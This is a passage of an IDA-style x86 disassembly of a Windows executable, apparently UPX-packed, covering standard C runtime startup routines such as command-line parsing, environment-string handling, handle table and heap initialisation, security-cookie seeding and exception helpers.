					; sub_40652A+96p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_8]
		push	ebx
		xor	eax, eax
		cmp	[ebp+arg_0], eax
		push	esi
		mov	[edi], eax
		mov	esi, edx
		mov	edx, [ebp+arg_4]
		mov	dword ptr [ecx], 1
		jz	short loc_4063B8
		mov	ebx, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[ebx], edx


loc_4063B8:				; CODE XREF: sub_406392+1Bj
		mov	[ebp+var_4], eax


loc_4063BB:				; CODE XREF: sub_406392+7Ej
					; sub_406392+88j
		cmp	byte ptr [esi],	22h
		jnz	short loc_4063D0
		xor	eax, eax
		cmp	[ebp+var_4], eax
		mov	bl, 22h
		setz	al
		inc	esi
		mov	[ebp+var_4], eax
		jmp	short loc_40640C
; ---------------------------------------------------------------------------


loc_4063D0:				; CODE XREF: sub_406392+2Cj
		inc	dword ptr [edi]
		test	edx, edx
		jz	short loc_4063DE
		mov	al, [esi]
		mov	[edx], al
		inc	edx
		mov	[ebp+arg_4], edx


loc_4063DE:				; CODE XREF: sub_406392+42j
		mov	bl, [esi]
		movzx	eax, bl
		push	eax
		inc	esi
		call	sub_409D20
		test	eax, eax
		pop	ecx
		jz	short loc_406402
		inc	dword ptr [edi]
		cmp	[ebp+arg_4], 0
		jz	short loc_406401
		mov	ecx, [ebp+arg_4]
		mov	al, [esi]
		inc	[ebp+arg_4]
		mov	[ecx], al


loc_406401:				; CODE XREF: sub_406392+63j
		inc	esi


loc_406402:				; CODE XREF: sub_406392+5Bj
		test	bl, bl
		mov	edx, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		jz	short loc_40643E


loc_40640C:				; CODE XREF: sub_406392+3Cj
		cmp	[ebp+var_4], 0
		jnz	short loc_4063BB
		cmp	bl, 20h
		jz	short loc_40641C
		cmp	bl, 9
		jnz	short loc_4063BB


loc_40641C:				; CODE XREF: sub_406392+83j
		test	edx, edx
		jz	short loc_406424
		mov	byte ptr [edx-1], 0


loc_406424:				; CODE XREF: sub_406392+8Cj
					; sub_406392+ADj
		and	[ebp+var_4], 0


loc_406428:				; CODE XREF: sub_406392+183j
		cmp	byte ptr [esi],	0
		jz	loc_40651A


loc_406431:				; CODE XREF: sub_406392+AAj
		mov	al, [esi]
		cmp	al, 20h
		jz	short loc_40643B
		cmp	al, 9
		jnz	short loc_406441


loc_40643B:				; CODE XREF: sub_406392+A3j
		inc	esi
		jmp	short loc_406431
; ---------------------------------------------------------------------------


loc_40643E:				; CODE XREF: sub_406392+78j
		dec	esi
		jmp	short loc_406424
; ---------------------------------------------------------------------------


loc_406441:				; CODE XREF: sub_406392+A7j
		cmp	byte ptr [esi],	0
		jz	loc_40651A
		cmp	[ebp+arg_0], 0
		jz	short loc_406459
		mov	eax, [ebp+arg_0]
		add	[ebp+arg_0], 4
		mov	[eax], edx


loc_406459:				; CODE XREF: sub_406392+BCj
		inc	dword ptr [ecx]


loc_40645B:				; CODE XREF: sub_406392+16Ej
		xor	ebx, ebx
		inc	ebx
		xor	ecx, ecx
		jmp	short loc_406464
; ---------------------------------------------------------------------------


loc_406462:				; CODE XREF: sub_406392+D5j
		inc	esi
		inc	ecx


loc_406464:				; CODE XREF: sub_406392+CEj
		cmp	byte ptr [esi],	5Ch
		jz	short loc_406462
		cmp	byte ptr [esi],	22h
		jnz	short loc_406494
		test	cl, 1
		jnz	short loc_406492
		cmp	[ebp+var_4], 0
		jz	short loc_406485
		lea	eax, [esi+1]
		cmp	byte ptr [eax],	22h
		jnz	short loc_406485
		mov	esi, eax
		jmp	short loc_406492
; ---------------------------------------------------------------------------


loc_406485:				; CODE XREF: sub_406392+E5j
					; sub_406392+EDj
		xor	eax, eax
		xor	ebx, ebx
		cmp	[ebp+var_4], eax
		setz	al
		mov	[ebp+var_4], eax


loc_406492:				; CODE XREF: sub_406392+DFj
					; sub_406392+F1j
		shr	ecx, 1


loc_406494:				; CODE XREF: sub_406392+DAj
		test	ecx, ecx
		jz	short loc_4064AA


loc_406498:				; CODE XREF: sub_406392+113j
		dec	ecx
		test	edx, edx
		jz	short loc_4064A1
		mov	byte ptr [edx],	5Ch
		inc	edx


loc_4064A1:				; CODE XREF: sub_406392+109j
		inc	dword ptr [edi]
		test	ecx, ecx
		jnz	short loc_406498
		mov	[ebp+arg_4], edx


loc_4064AA:				; CODE XREF: sub_406392+104j
		mov	al, [esi]
		test	al, al
		jz	short loc_406505
		cmp	[ebp+var_4], 0
		jnz	short loc_4064BE
		cmp	al, 20h
		jz	short loc_406505
		cmp	al, 9
		jz	short loc_406505


loc_4064BE:				; CODE XREF: sub_406392+122j
		test	ebx, ebx
		jz	short loc_4064FF
		test	edx, edx
		movsx	eax, al
		push	eax
		jz	short loc_4064ED
		call	sub_409D20
		test	eax, eax
		pop	ecx
		jz	short loc_4064E1
		mov	al, [esi]
		mov	ecx, [ebp+arg_4]
		inc	[ebp+arg_4]
		mov	[ecx], al
		inc	esi
		inc	dword ptr [edi]


loc_4064E1:				; CODE XREF: sub_406392+140j
		mov	ecx, [ebp+arg_4]
		mov	al, [esi]
		inc	[ebp+arg_4]
		mov	[ecx], al
		jmp	short loc_4064FA
; ---------------------------------------------------------------------------


loc_4064ED:				; CODE XREF: sub_406392+136j
		call	sub_409D20
		test	eax, eax
		pop	ecx
		jz	short loc_4064FA
		inc	esi
		inc	dword ptr [edi]


loc_4064FA:				; CODE XREF: sub_406392+159j
					; sub_406392+163j
		inc	dword ptr [edi]
		mov	edx, [ebp+arg_4]


loc_4064FF:				; CODE XREF: sub_406392+12Ej
		inc	esi
		jmp	loc_40645B
; ---------------------------------------------------------------------------


loc_406505:				; CODE XREF: sub_406392+11Cj
					; sub_406392+126j ...
		test	edx, edx
		jz	short loc_406510
		mov	byte ptr [edx],	0
		inc	edx
		mov	[ebp+arg_4], edx


loc_406510:				; CODE XREF: sub_406392+175j
		inc	dword ptr [edi]
		mov	ecx, [ebp+arg_8]
		jmp	loc_406428
; ---------------------------------------------------------------------------


loc_40651A:				; CODE XREF: sub_406392+99j
					; sub_406392+B2j
		mov	eax, [ebp+arg_0]
		test	eax, eax
		pop	esi
		pop	ebx
		jz	short loc_406526
		and	dword ptr [eax], 0


loc_406526:				; CODE XREF: sub_406392+18Fj
		inc	dword ptr [ecx]
		leave
		retn
sub_406392	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40652A	proc near		; CODE XREF: start-F8ABp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		xor	ebx, ebx
		cmp	ds:dword_410A0C, ebx
		push	esi
		push	edi
		jnz	short loc_406542
		call	sub_40842A


loc_406542:				; CODE XREF: sub_40652A+11j
		push	104h
		mov	esi, offset dword_4104C8
		push	esi
		push	ebx
		mov	ds:byte_4105CC,	bl
		call	dword_40C09C	; GetModuleFileNameA
		mov	eax, ds:dword_410A24
		cmp	eax, ebx
		mov	ds:dword_410190, esi
		jz	short loc_406570
		cmp	[eax], bl
		mov	[ebp+var_4], eax
		jnz	short loc_406573


loc_406570:				; CODE XREF: sub_40652A+3Dj
		mov	[ebp+var_4], esi


loc_406573:				; CODE XREF: sub_40652A+44j
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_8]
		push	eax
		push	ebx
		push	ebx
		lea	edi, [ebp+var_C]
		call	sub_406392
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	eax, 3FFFFFFFh
		jnb	short loc_4065DB
		mov	ecx, [ebp+var_C]
		cmp	ecx, 0FFFFFFFFh
		jnb	short loc_4065DB
		mov	edi, eax
		shl	edi, 2
		lea	eax, [edi+ecx]
		cmp	eax, ecx
		jb	short loc_4065DB
		push	eax
		call	sub_4053D3
		mov	esi, eax
		cmp	esi, ebx
		pop	ecx
		jz	short loc_4065DB
		mov	edx, [ebp+var_4]
		lea	eax, [ebp+var_8]
		push	eax
		add	edi, esi
		push	edi
		push	esi
		lea	edi, [ebp+var_C]
		call	sub_406392
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		dec	eax
		mov	ds:dword_410174, eax
		mov	ds:dword_410178, esi
		xor	eax, eax
		jmp	short loc_4065DE
; ---------------------------------------------------------------------------


loc_4065DB:				; CODE XREF: sub_40652A+65j
					; sub_40652A+6Dj ...
		or	eax, 0FFFFFFFFh


loc_4065DE:				; CODE XREF: sub_40652A+AFj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40652A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4065E3	proc near		; CODE XREF: start-F8B5p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, ds:dword_4105D0
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, dword_40C0B0
		xor	ebx, ebx
		xor	esi, esi
		cmp	eax, ebx
		push	2
		pop	ebp
		jnz	short loc_40662C
		call	edi ; dword_40C0B0
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_406613
		mov	ds:dword_4105D0, 1
		jmp	short loc_406635
; ---------------------------------------------------------------------------


loc_406613:				; CODE XREF: sub_4065E3+22j
		call	dword_40C088	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_406627
		mov	eax, ebp
		mov	ds:dword_4105D0, eax
		jmp	short loc_40662C
; ---------------------------------------------------------------------------


loc_406627:				; CODE XREF: sub_4065E3+39j
		mov	eax, ds:dword_4105D0


loc_40662C:				; CODE XREF: sub_4065E3+1Aj
					; sub_4065E3+42j
		cmp	eax, 1
		jnz	loc_4066B9


loc_406635:				; CODE XREF: sub_4065E3+2Ej
		cmp	esi, ebx
		jnz	short loc_406648
		call	edi ; dword_40C0B0
		mov	esi, eax
		cmp	esi, ebx
		jnz	short loc_406648


loc_406641:				; CODE XREF: sub_4065E3+DCj
					; sub_4065E3+E8j ...
		xor	eax, eax
		jmp	loc_406711
; ---------------------------------------------------------------------------


loc_406648:				; CODE XREF: sub_4065E3+54j
					; sub_4065E3+5Cj
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_40665D


loc_40664F:				; CODE XREF: sub_4065E3+71j
					; sub_4065E3+78j
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_40664F
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_40664F


loc_40665D:				; CODE XREF: sub_4065E3+6Aj
		mov	edi, dword_40C0AC
		push	ebx
		push	ebx
		push	ebx
		sub	eax, esi
		push	ebx
		sar	eax, 1
		inc	eax
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi ; dword_40C0AC
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_4066AE
		push	ebp
		call	sub_4053D3
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_4066AE
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi ; dword_40C0AC
		test	eax, eax
		jnz	short loc_4066AA
		push	[esp+18h+var_8]
		call	sub_404F20
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_4066AA:				; CODE XREF: sub_4065E3+B7j
		mov	ebx, [esp+18h+var_8]


loc_4066AE:				; CODE XREF: sub_4065E3+97j
					; sub_4065E3+A6j
		push	esi
		call	dword_40C0A8	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_406711
; ---------------------------------------------------------------------------


loc_4066B9:				; CODE XREF: sub_4065E3+4Cj
		cmp	eax, ebp
		jz	short loc_4066C1
		cmp	eax, ebx
		jnz	short loc_406641


loc_4066C1:				; CODE XREF: sub_4065E3+D8j
		call	dword_40C0A4	; GetEnvironmentStringsA
		mov	esi, eax
		cmp	esi, ebx
		jz	loc_406641
		cmp	[esi], bl
		jz	short loc_4066DF


loc_4066D5:				; CODE XREF: sub_4065E3+F5j
					; sub_4065E3+FAj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4066D5
		inc	eax
		cmp	[eax], bl
		jnz	short loc_4066D5


loc_4066DF:				; CODE XREF: sub_4065E3+F0j
		sub	eax, esi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_4053D3
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		jnz	short loc_4066FD
		push	esi
		call	dword_40C0A0	; FreeEnvironmentStringsA
		jmp	loc_406641
; ---------------------------------------------------------------------------


loc_4066FD:				; CODE XREF: sub_4065E3+10Cj
		push	ebp
		push	esi
		push	edi
		call	sub_405020
		add	esp, 0Ch
		push	esi
		call	dword_40C0A0	; FreeEnvironmentStringsA
		mov	eax, edi


loc_406711:				; CODE XREF: sub_4065E3+60j
					; sub_4065E3+D4j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_4065E3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406718	proc near		; CODE XREF: start-F8D1p

var_64		= byte ptr -64h
var_32		= word ptr -32h
var_30		= dword	ptr -30h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h

		push	54h
		push	offset dword_40DF88
		call	__SEH_prolog4
		xor	edi, edi
		mov	[ebp+ms_exc.disabled], edi
		lea	eax, [ebp+var_64]
		push	eax
		call	dword_40C058	; GetStartupInfoA
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh
		push	38h
		push	20h
		pop	esi
		push	esi
		call	sub_405413
		pop	ecx
		pop	ecx
		cmp	eax, edi
		jz	loc_40694F
		mov	ds:dword_410900, eax
		mov	ds:dword_4108E8, esi
		lea	ecx, [eax+700h]
		jmp	short loc_40678B
; ---------------------------------------------------------------------------


loc_406762:				; CODE XREF: sub_406718+75j
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		mov	[eax+8], edi
		mov	byte ptr [eax+24h], 0
		mov	byte ptr [eax+25h], 0Ah
		mov	byte ptr [eax+26h], 0Ah
		add	eax, 38h
		mov	ecx, ds:dword_410900
		add	ecx, 700h


loc_40678B:				; CODE XREF: sub_406718+48j
		cmp	eax, ecx
		jb	short loc_406762
		cmp	[ebp+var_32], di
		jz	loc_406896
		mov	eax, [ebp+var_30]
		cmp	eax, edi
		jz	loc_406896
		mov	edi, [eax]
		lea	ebx, [eax+4]
		lea	eax, [ebx+edi]
		mov	[ebp+var_1C], eax
		mov	eax, 800h
		cmp	edi, eax
		jl	short loc_4067BA
		mov	edi, eax


loc_4067BA:				; CODE XREF: sub_406718+9Ej
		xor	esi, esi
		inc	esi
		jmp	short loc_406811
; ---------------------------------------------------------------------------


loc_4067BF:				; CODE XREF: sub_406718+FFj
		push	38h
		push	20h
		call	sub_405413
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40681B
		lea	ecx, ds:410900h[esi*4]
		mov	[ecx], eax
		add	ds:dword_4108E8, 20h
		lea	edx, [eax+700h]
		jmp	short loc_40680C
; ---------------------------------------------------------------------------


loc_4067E6:				; CODE XREF: sub_406718+F6j
		mov	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		mov	byte ptr [eax+5], 0Ah
		and	dword ptr [eax+8], 0
		and	byte ptr [eax+24h], 80h
		mov	byte ptr [eax+25h], 0Ah
		mov	byte ptr [eax+26h], 0Ah
		add	eax, 38h
		mov	edx, [ecx]
		add	edx, 700h


loc_40680C:				; CODE XREF: sub_406718+CCj
		cmp	eax, edx
		jb	short loc_4067E6
		inc	esi


loc_406811:				; CODE XREF: sub_406718+A5j
		cmp	ds:dword_4108E8, edi
		jl	short loc_4067BF
		jmp	short loc_406821
; ---------------------------------------------------------------------------


loc_40681B:				; CODE XREF: sub_406718+B4j
		mov	edi, ds:dword_4108E8


loc_406821:				; CODE XREF: sub_406718+101j
		and	[ebp+var_20], 0
		test	edi, edi
		jle	short loc_406896


loc_406829:				; CODE XREF: sub_406718+17Cj
		mov	eax, [ebp+var_1C]
		mov	ecx, [eax]
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_406889
		cmp	ecx, 0FFFFFFFEh
		jz	short loc_406889
		mov	al, [ebx]
		test	al, 1
		jz	short loc_406889
		test	al, 8
		jnz	short loc_40684D
		push	ecx
		call	dword_40C0B8	; GetFileType
		test	eax, eax
		jz	short loc_406889


loc_40684D:				; CODE XREF: sub_406718+128j
		mov	esi, [ebp+var_20]
		mov	eax, esi
		sar	eax, 5
		and	esi, 1Fh
		imul	esi, 38h
		add	esi, ds:dword_410900[eax*4]
		mov	eax, [ebp+var_1C]
		mov	eax, [eax]
		mov	[esi], eax
		mov	al, [ebx]
		mov	[esi+4], al
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_409843
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	loc_40694F
		inc	dword ptr [esi+8]


loc_406889:				; CODE XREF: sub_406718+119j
					; sub_406718+11Ej ...
		inc	[ebp+var_20]
		inc	ebx
		add	[ebp+var_1C], 4
		cmp	[ebp+var_20], edi
		jl	short loc_406829


loc_406896:				; CODE XREF: sub_406718+7Bj
					; sub_406718+86j ...
		xor	ebx, ebx


loc_406898:				; CODE XREF: sub_406718+213j
		mov	esi, ebx
		imul	esi, 38h
		add	esi, ds:dword_410900
		mov	eax, [esi]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_4068B5
		cmp	eax, 0FFFFFFFEh
		jz	short loc_4068B5
		or	byte ptr [esi+4], 80h
		jmp	short loc_406927
; ---------------------------------------------------------------------------


loc_4068B5:				; CODE XREF: sub_406718+190j
					; sub_406718+195j
		mov	byte ptr [esi+4], 81h
		test	ebx, ebx
		jnz	short loc_4068C2
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_4068CC
; ---------------------------------------------------------------------------


loc_4068C2:				; CODE XREF: sub_406718+1A3j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_4068CC:				; CODE XREF: sub_406718+1A8j
		push	eax
		call	dword_40C000	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_40691D
		test	edi, edi
		jz	short loc_40691D
		push	edi
		call	dword_40C0B8	; GetFileType
		test	eax, eax
		jz	short loc_40691D
		mov	[esi], edi
		and	eax, 0FFh
		cmp	eax, 2
		jnz	short loc_4068FB
		or	byte ptr [esi+4], 40h
		jmp	short loc_406904
; ---------------------------------------------------------------------------


loc_4068FB:				; CODE XREF: sub_406718+1DBj
		cmp	eax, 3
		jnz	short loc_406904
		or	byte ptr [esi+4], 8


loc_406904:				; CODE XREF: sub_406718+1E1j
					; sub_406718+1E6j
		push	0FA0h
		lea	eax, [esi+0Ch]
		push	eax
		call	sub_409843
		pop	ecx
		pop	ecx
		test	eax, eax
		jz	short loc_40694F
		inc	dword ptr [esi+8]
		jmp	short loc_406927
; ---------------------------------------------------------------------------


loc_40691D:				; CODE XREF: sub_406718+1C0j
					; sub_406718+1C4j ...
		or	byte ptr [esi+4], 40h
		mov	dword ptr [esi], 0FFFFFFFEh


loc_406927:				; CODE XREF: sub_406718+19Bj
					; sub_406718+203j
		inc	ebx
		cmp	ebx, 3
		jl	loc_406898
		push	ds:dword_4108E8
		call	dword_40C0B4	; SetHandleCount
		xor	eax, eax
		jmp	short loc_406952
; ---------------------------------------------------------------------------
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+ms_exc.old_esp]
		mov	[ebp+ms_exc.disabled], 0FFFFFFFEh


loc_40694F:				; CODE XREF: sub_406718+31j
					; sub_406718+168j ...
		or	eax, 0FFFFFFFFh


loc_406952:				; CODE XREF: sub_406718+227j
		call	__SEH_epilog4
		retn
sub_406718	endp


; =============== S U B	R O U T	I N E =======================================



sub_406958	proc near		; CODE XREF: start:loc_404057p
		push	esi
		push	edi
		mov	eax, offset dword_40DDE0
		mov	edi, offset dword_40DDE0
		cmp	eax, edi
		mov	esi, eax
		jnb	short loc_406979


loc_40696A:				; CODE XREF: sub_406958+1Fj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_406972
		call	eax


loc_406972:				; CODE XREF: sub_406958+16j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_40696A


loc_406979:				; CODE XREF: sub_406958+10j
		pop	edi
		pop	esi
		retn
sub_406958	endp


; =============== S U B	R O U T	I N E =======================================



sub_40697C	proc near		; DATA XREF: sub_405665+3Fo
		push	esi
		push	edi
		mov	eax, offset dword_40DDE8
		mov	edi, offset dword_40DDE8
		cmp	eax, edi
		mov	esi, eax
		jnb	short loc_40699D


loc_40698E:				; CODE XREF: sub_40697C+1Fj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_406996
		call	eax


loc_406996:				; CODE XREF: sub_40697C+16j
		add	esi, 4
		cmp	esi, edi
		jb	short loc_40698E


loc_40699D:				; CODE XREF: sub_40697C+10j
		pop	edi
		pop	esi
		retn
sub_40697C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4069A0	proc near		; CODE XREF: sub_4069FB:loc_406A1Ep

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp+var_4]
		xor	esi, esi
		push	eax
		mov	[ebp+var_4], esi
		mov	[ebp+var_8], esi
		call	sub_4055F2
		test	eax, eax
		pop	ecx
		jz	short loc_4069C9
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_402095
		add	esp, 14h


loc_4069C9:				; CODE XREF: sub_4069A0+1Aj
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_405629
		test	eax, eax
		pop	ecx
		jz	short loc_4069E4
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_402095
		add	esp, 14h


loc_4069E4:				; CODE XREF: sub_4069A0+35j
		cmp	[ebp+var_4], 2
		pop	esi
		jnz	short loc_4069F6
		cmp	[ebp+var_8], 5
		jb	short loc_4069F6
		xor	eax, eax
		inc	eax
		leave
		retn
; ---------------------------------------------------------------------------


loc_4069F6:				; CODE XREF: sub_4069A0+49j
					; sub_4069A0+4Fj
		push	3
		pop	eax
		leave
		retn
sub_4069A0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4069FB	proc near		; CODE XREF: start-F8FCp

arg_0		= dword	ptr  4

		xor	eax, eax
		cmp	[esp+arg_0], eax
		push	0
		setz	al
		push	1000h
		push	eax
		call	dword_40C0C4	; HeapCreate
		test	eax, eax
		mov	ds:dword_4105D4, eax
		jnz	short loc_406A1E


loc_406A1B:				; CODE XREF: sub_4069FB+54j
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_406A1E:				; CODE XREF: sub_4069FB+1Ej
		call	sub_4069A0
		cmp	eax, 3
		mov	ds:dword_4108E4, eax
		jnz	short loc_406A51
		push	3F8h
		call	sub_408505
		test	eax, eax
		pop	ecx
		jnz	short loc_406A51
		push	ds:dword_4105D4
		call	dword_40C0C0	; HeapDestroy
		and	ds:dword_4105D4, 0
		jmp	short loc_406A1B
; ---------------------------------------------------------------------------


loc_406A51:				; CODE XREF: sub_4069FB+30j
					; sub_4069FB+3Fj
		xor	eax, eax
		inc	eax
		retn
sub_4069FB	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406A55	proc near		; CODE XREF: start:loc_404143p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		mov	eax, ds:dword_40F060
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		push	ebx
		push	edi
		mov	edi, 0BB40E64Eh
		cmp	eax, edi
		mov	ebx, 0FFFF0000h
		jz	short loc_406A85
		test	eax, ebx
		jz	short loc_406A85
		not	eax
		mov	ds:dword_40F064, eax
		jmp	short loc_406AE5
; ---------------------------------------------------------------------------


loc_406A85:				; CODE XREF: sub_406A55+21j
					; sub_406A55+25j
		push	esi
		lea	eax, [ebp+var_8]
		push	eax
		call	dword_40C0D8	; GetSystemTimeAsFileTime
		mov	esi, [ebp+var_4]
		xor	esi, [ebp+var_8]
		call	dword_40C0D4	; GetCurrentProcessId
		xor	esi, eax
		call	dword_40C084	; GetCurrentThreadId
		xor	esi, eax
		call	dword_40C0D0	; GetTickCount
		xor	esi, eax
		lea	eax, [ebp+var_10]
		push	eax
		call	dword_40C0CC	; QueryPerformanceCounter
		mov	eax, [ebp+var_C]
		xor	eax, [ebp+var_10]
		xor	esi, eax
		cmp	esi, edi
		jnz	short loc_406ACB
		mov	esi, 0BB40E64Fh
		jmp	short loc_406AD6
; ---------------------------------------------------------------------------


loc_406ACB:				; CODE XREF: sub_406A55+6Dj
		test	esi, ebx
		jnz	short loc_406AD6
		mov	eax, esi
		shl	eax, 10h
		or	esi, eax


loc_406AD6:				; CODE XREF: sub_406A55+74j
					; sub_406A55+78j
		mov	ds:dword_40F060, esi
		not	esi
		mov	ds:dword_40F064, esi
		pop	esi


loc_406AE5:				; CODE XREF: sub_406A55+2Ej
		pop	edi
		pop	ebx
		leave
		retn
sub_406A55	endp

; ---------------------------------------------------------------------------
		mov	dword ptr [ecx], offset	off_40C864
		jmp	sub_4024AF
; ---------------------------------------------------------------------------


loc_406AF4:				; DATA XREF: UPX0:off_40C864o
		push	esi
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_40C864
		call	sub_4024AF
		test	byte ptr [esp+8], 1
		jz	short loc_406B10
		push	esi
		call	sub_4023DB
		pop	ecx


loc_406B10:				; CODE XREF: UPX0:00406B07j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_406B16	proc near		; CODE XREF: sub_406D55+4Ep
					; sub_407321+21Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	eax, [edi+4]
		test	eax, eax
		jz	short loc_406B6C
		lea	edx, [eax+8]
		cmp	byte ptr [edx],	0
		jz	short loc_406B6C
		mov	esi, [esp+8+arg_4]
		mov	ecx, [esi+4]
		cmp	eax, ecx
		jz	short loc_406B4A
		add	ecx, 8
		push	ecx
		push	edx
		call	sub_405E50
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_406B4A


loc_406B46:				; CODE XREF: sub_406B16+3Cj
					; sub_406B16+4Bj ...
		xor	eax, eax
		jmp	short loc_406B6F
; ---------------------------------------------------------------------------


loc_406B4A:				; CODE XREF: sub_406B16+1Ej
					; sub_406B16+2Ej
		test	byte ptr [esi],	2
		jz	short loc_406B54
		test	byte ptr [edi],	8
		jz	short loc_406B46


loc_406B54:				; CODE XREF: sub_406B16+37j
		mov	eax, [esp+8+arg_8]
		mov	eax, [eax]
		test	al, 1
		jz	short loc_406B63
		test	byte ptr [edi],	1
		jz	short loc_406B46


loc_406B63:				; CODE XREF: sub_406B16+46j
		test	al, 2
		jz	short loc_406B6C
		test	byte ptr [edi],	2
		jz	short loc_406B46


loc_406B6C:				; CODE XREF: sub_406B16+Bj
					; sub_406B16+13j ...
		xor	eax, eax
		inc	eax


loc_406B6F:				; CODE XREF: sub_406B16+32j
		pop	edi
		pop	esi
		retn
sub_406B16	endp


; =============== S U B	R O U T	I N E =======================================



sub_406B72	proc near		; CODE XREF: sub_406BB6+85p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	eax, [eax]
		mov	eax, [eax]
		cmp	eax, 0E0434F4Dh
		jz	short loc_406B99
		cmp	eax, 0E06D7363h
		jnz	short loc_406BB3
		call	sub_404927
		and	dword ptr [eax+90h], 0
		jmp	sub_407773
; ---------------------------------------------------------------------------


loc_406B99:				; CODE XREF: sub_406B72+Dj
		call	sub_404927
		cmp	dword ptr [eax+90h], 0
		jle	short loc_406BB3
		call	sub_404927
		add	eax, 90h
		dec	dword ptr [eax]


loc_406BB3:				; CODE XREF: sub_406B72+14j
					; sub_406B72+33j
		xor	eax, eax
		retn
sub_406B72	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406BB6	proc near		; CODE XREF: sub_406E17+ECp
					; sub_4071C3+36p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	10h
		push	offset dword_40DFA8
		call	__SEH_prolog4
		mov	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		cmp	dword ptr [edi+4], 80h
		jg	short loc_406BD7
		movsx	esi, byte ptr [ebx+8]
		jmp	short loc_406BDA
; ---------------------------------------------------------------------------


loc_406BD7:				; CODE XREF: sub_406BB6+19j
		mov	esi, [ebx+8]


loc_406BDA:				; CODE XREF: sub_406BB6+1Fj
		mov	[ebp+var_1C], esi
		call	sub_404927
		add	eax, 90h
		inc	dword ptr [eax]
		and	[ebp+ms_exc.disabled], 0


loc_406BED:				; CODE XREF: sub_406BB6+9Fj
		cmp	esi, [ebp+arg_C]
		jz	short loc_406C57
		cmp	esi, 0FFFFFFFFh
		jle	short loc_406BFC
		cmp	esi, [edi+4]
		jl	short loc_406C01


loc_406BFC:				; CODE XREF: sub_406BB6+3Fj
		call	sub_4077BF


loc_406C01:				; CODE XREF: sub_406BB6+44j
		mov	eax, esi
		shl	eax, 3
		mov	ecx, [edi+8]
